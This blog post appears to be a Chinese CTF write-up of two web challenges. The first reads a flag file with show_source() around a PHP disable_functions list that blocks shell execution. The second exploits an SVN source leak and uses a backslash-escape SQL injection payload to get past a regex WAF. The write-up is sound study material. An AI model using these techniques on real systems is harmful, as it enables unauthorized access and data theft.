0%

国赛的两个Web题

在全国大学生信息安全竞赛(线上赛)上划了波水,对我来说题目挺难的,好多姿势都没见过。

0x00 两个最简单的Web的题解

Web-PHP execise

这个题目考察了PHP的几个简单的语法
首先在题目中执行phpinfo()函数
image
在其中的找到被禁用的函数

1
2
disable_functions
assert,system,passthru,exec,pcntl_exec,shell_exec,popen,proc_open,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,fopen,file_get_contents,fread,file_get_contents,file,readfile,opendir,readdir,closedir,rewinddir,

然后通过getcwd()函数获取服务器当前目录路径

1
echo getcwd()

image
从而获取路径

1
/var/www/html

然后获取当前目录下的所有文件的文件名

1
$dir="/var/www/html";print_r(scandir($dir))

image
判断flag在flag_62cfc2dc115277d0c04ed0f74e48e3e9.php这个文件中,但是PHP几乎所有对文件操作的函数都被禁用了。在这时想到了以前表哥们给我们出题的时候,有的Web题的源码直接显示在网页上了,利用的show_source()函数.于是乎:

1
include"flag_62cfc2dc115277d0c04ed0f74e48e3e9.php";show_source("flag_62cfc2dc115277d0c04ed0f74e48e3e9.php")

从而获取flag

image

Web-wanna to see your hat?

这题有毒,不拿到flag就给你10个绿帽子。。(╯‵□′)╯︵┻━┻

主要考察的代码审计和SQL注入。首先有一个SVN源码泄露漏洞,利用工具将网站所有的源码下载下来,进行审计。关键代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
$_POST=d_addslashes($_POST);
$_GET=d_addslashes($_GET);
function d_addslashes($array){
foreach($array as $key=>$value){
if(!is_array($value)){
!get_magic_quotes_gpc() && $value=addslashes($value);
waf($value);
$array[$key]=$value;
}
}
return $array;
}
function waf($value){
$Filt = "\bUNION.+SELECT\b|SELECT.+?FROM";
if (preg_match("/".$Filt."/is",$value)==1){
die("found a hacker");
}
$value = str_replace(" ","",$value);
return $value;
}
if (isset($_POST["name"])){
$name = str_replace("'", "", trim(waf($_POST["name"])));
if (strlen($name) > 11){
echo("<script>alert('name too long')</script>");
}else{
$sql = "select count(*) from t_info where username = '$name' or nickname = '$name'";
echo $sql;
$result = mysql_query($sql);
$row = mysql_fetch_array($result);
if ($row[0]){
$_SESSION['hat'] = 'black';
echo 'good job';
}else{
$_SESSION['hat'] = 'green';
}

最终目的是令$_SESSION[‘hat’] = ‘black’;这也就意味着在执行SQL语句时,可以返回数据。但是,在register.php的插入语句为

1
$sql = "insert into t_user (username,nickname,password) values('".$_POST['username']."', '".$_POST['nickname']."','".md5($_POST['password'])."')";

它注册时写入数据的表与登陆时查询的表不是一个,这也把我的思路带偏了,我一开始认为,在register.php里面构造语句在t_info表中插入数据。但根据查到的资料显示,SQL只允许一个插入语句对一个表操作。没辙了。。去请教表哥们。
关键点在login.php,即登录界面。
关键语句

1
$name = str_replace("'", "", trim(waf($_POST["name"])));

在POST传入name时,如果传进的字符串中有“’”单引号,则会被加上反斜杠进行转义,然后在waf里面,若有空格则会被去掉。然后“\’”中的单引号被去掉,成为了“\”,若这个反斜杠在结尾,则会把

1
$sql = "select count(*) from t_info where username = '$name' or nickname = '$name'";

第一个name的第二个单引号转义,导致

1
$name' or nickname =

成为了字符串。因此令

1
name==(0)=1#'

最终执行的SQL语句为

1
$sql = "select count(*) from t_info where username = '=(0)=1#\' or nickname = '=(0)=1#\'";

该语句为真,因此返回数据,使得$_SESSION[‘hat’] = ‘black’;从而返回flag
image